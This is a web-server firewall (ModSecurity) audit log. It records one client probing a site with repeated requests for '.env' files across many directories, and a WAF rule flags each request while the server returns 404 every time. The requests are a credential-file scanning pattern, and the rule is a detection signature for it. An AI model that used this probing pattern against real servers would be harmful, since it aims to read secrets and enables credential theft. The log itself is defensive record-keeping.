Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--254c3d69-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/v3/.env"] [unique_id "aqYLzGM7dE9KgIIOpQhdsgAAAMA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266892871412 119710 (- - -)
Stopwatch2: 1789266892871412 119710; combined=5888, p1=468, p2=5366, p3=0, p4=0, p5=53, sr=244, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--254c3d69-Z--

--d4313b4e-A--
[13/Sep/2026:05:34:54.099421 +0300] aqYLzUwu1RSkptiiNIXtoQAAAJM 34.175.231.24 59178 127.0.0.1 7081
--d4313b4e-B--
GET /api/dev/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--d4313b4e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--d4313b4e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/dev/.env"] [unique_id "aqYLzUwu1RSkptiiNIXtoQAAAJM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266893986415 113076 (- - -)
Stopwatch2: 1789266893986415 113076; combined=4394, p1=234, p2=4095, p3=0, p4=0, p5=65, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d4313b4e-Z--

--fb705767-A--
[13/Sep/2026:05:34:55.274733 +0300] aqYLz0wu1RSkptiiNIXtogAAAJU 34.175.231.24 59184 127.0.0.1 7081
--fb705767-B--
GET /api/staging/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--fb705767-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fb705767-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/staging/.env"] [unique_id "aqYLz0wu1RSkptiiNIXtogAAAJU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266895158899 115899 (- - -)
Stopwatch2: 1789266895158899 115899; combined=4363, p1=209, p2=4064, p3=0, p4=0, p5=90, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb705767-Z--

--54f9b41d-A--
[13/Sep/2026:05:34:56.466480 +0300] aqYL0Ewu1RSkptiiNIXtpAAAAJY 34.175.231.24 51770 127.0.0.1 7081
--54f9b41d-B--
GET /vendor/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--54f9b41d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--54f9b41d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/vendor/.env"] [unique_id "aqYL0Ewu1RSkptiiNIXtpAAAAJY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266896354445 112090 (- - -)
Stopwatch2: 1789266896354445 112090; combined=4410, p1=270, p2=4087, p3=0, p4=0, p5=52, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--54f9b41d-Z--

--8089311c-A--
[13/Sep/2026:05:34:57.338439 +0300] aqYL0WM7dE9KgIIOpQhdswAAANI 34.175.231.24 51778 127.0.0.1 7081
--8089311c-B--
GET /lib/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8089311c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8089311c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/lib/.env"] [unique_id "aqYL0WM7dE9KgIIOpQhdswAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266897227826 110676 (- - -)
Stopwatch2: 1789266897227826 110676; combined=3891, p1=212, p2=3615, p3=0, p4=0, p5=63, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8089311c-Z--

--701bf16d-A--
[13/Sep/2026:05:34:58.400301 +0300] aqYL0mM7dE9KgIIOpQhdtAAAANg 34.175.231.24 51784 127.0.0.1 7081
--701bf16d-B--
GET /resources/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--701bf16d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--701bf16d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/resources/.env"] [unique_id "aqYL0mM7dE9KgIIOpQhdtAAAANg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266898250266 150089 (- - -)
Stopwatch2: 1789266898250266 150089; combined=6883, p1=1345, p2=5480, p3=0, p4=0, p5=57, sr=220, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--701bf16d-Z--

--74f1cb06-A--
[13/Sep/2026:05:34:59.467552 +0300] aqYL02M7dE9KgIIOpQhdtQAAANQ 34.175.231.24 51800 127.0.0.1 7081
--74f1cb06-B--
GET /assets/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--74f1cb06-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--74f1cb06-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/assets/.env"] [unique_id "aqYL02M7dE9KgIIOpQhdtQAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266899347509 120098 (- - -)
Stopwatch2: 1789266899347509 120098; combined=7410, p1=442, p2=6915, p3=0, p4=0, p5=52, sr=219, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--74f1cb06-Z--

--fd142464-A--
[13/Sep/2026:05:35:00.292184 +0300] aqYL1GM7dE9KgIIOpQhdtgAAAM0 34.175.231.24 51816 127.0.0.1 7081
--fd142464-B--
GET /uploads/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--fd142464-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fd142464-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/uploads/.env"] [unique_id "aqYL1GM7dE9KgIIOpQhdtgAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266900177420 114837 (- - -)
Stopwatch2: 1789266900177420 114837; combined=4147, p1=285, p2=3807, p3=0, p4=0, p5=55, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fd142464-Z--

--24bd2350-A--
[13/Sep/2026:05:35:02.251089 +0300] aqYL1Uwu1RSkptiiNIXtpgAAAIw 34.175.231.24 51824 127.0.0.1 7081
--24bd2350-B--
GET /internal/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--24bd2350-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--24bd2350-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/internal/.env"] [unique_id "aqYL1Uwu1RSkptiiNIXtpgAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266901478071 773082 (- - -)
Stopwatch2: 1789266901478071 773082; combined=10372, p1=267, p2=9923, p3=0, p4=0, p5=181, sr=122, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24bd2350-Z--

--b5416f5d-A--
[13/Sep/2026:05:35:03.855503 +0300] aqYL1zTJ6xTvcJoem7f1hQAAAFM 34.175.231.24 51840 127.0.0.1 7081
--b5416f5d-B--
GET /tools/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b5416f5d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b5416f5d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/tools/.env"] [unique_id "aqYL1zTJ6xTvcJoem7f1hQAAAFM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266903301205 554374 (- - -)
Stopwatch2: 1789266903301205 554374; combined=14418, p1=297, p2=14037, p3=0, p4=0, p5=84, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b5416f5d-Z--

--09a1be41-A--
[13/Sep/2026:05:35:04.850245 +0300] aqYL2CsVWymXUono-eRQsAAAAA8 34.175.231.24 51856 127.0.0.1 7081
--09a1be41-B--
GET /scripts/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--09a1be41-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--09a1be41-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/scripts/.env"] [unique_id "aqYL2CsVWymXUono-eRQsAAAAA8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266904722047 128255 (- - -)
Stopwatch2: 1789266904722047 128255; combined=5153, p1=266, p2=4814, p3=0, p4=0, p5=73, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--09a1be41-Z--

--b9e81364-A--
[13/Sep/2026:05:35:05.894201 +0300] aqYL2WM7dE9KgIIOpQhdtwAAANA 34.175.231.24 44584 127.0.0.1 7081
--b9e81364-B--
GET /bin/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--b9e81364-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b9e81364-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/bin/.env"] [unique_id "aqYL2WM7dE9KgIIOpQhdtwAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266905738995 155291 (- - -)
Stopwatch2: 1789266905738995 155291; combined=8545, p1=407, p2=8057, p3=0, p4=0, p5=81, sr=168, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b9e81364-Z--

--edbff864-A--
[13/Sep/2026:05:35:06.991468 +0300] aqYL2jTJ6xTvcJoem7f1hwAAAFY 34.175.231.24 44598 127.0.0.1 7081
--edbff864-B--
GET /sbin/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--edbff864-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--edbff864-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/sbin/.env"] [unique_id "aqYL2jTJ6xTvcJoem7f1hwAAAFY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266906860947 130592 (- - -)
Stopwatch2: 1789266906860947 130592; combined=5795, p1=355, p2=5376, p3=0, p4=0, p5=63, sr=148, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--edbff864-Z--

--e205470b-A--
[13/Sep/2026:05:35:08.355652 +0300] aqYL3DTJ6xTvcJoem7f1iAAAAEU 34.175.231.24 44622 127.0.0.1 7081
--e205470b-B--
GET /local/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--e205470b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e205470b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/local/.env"] [unique_id "aqYL3DTJ6xTvcJoem7f1iAAAAEU"]
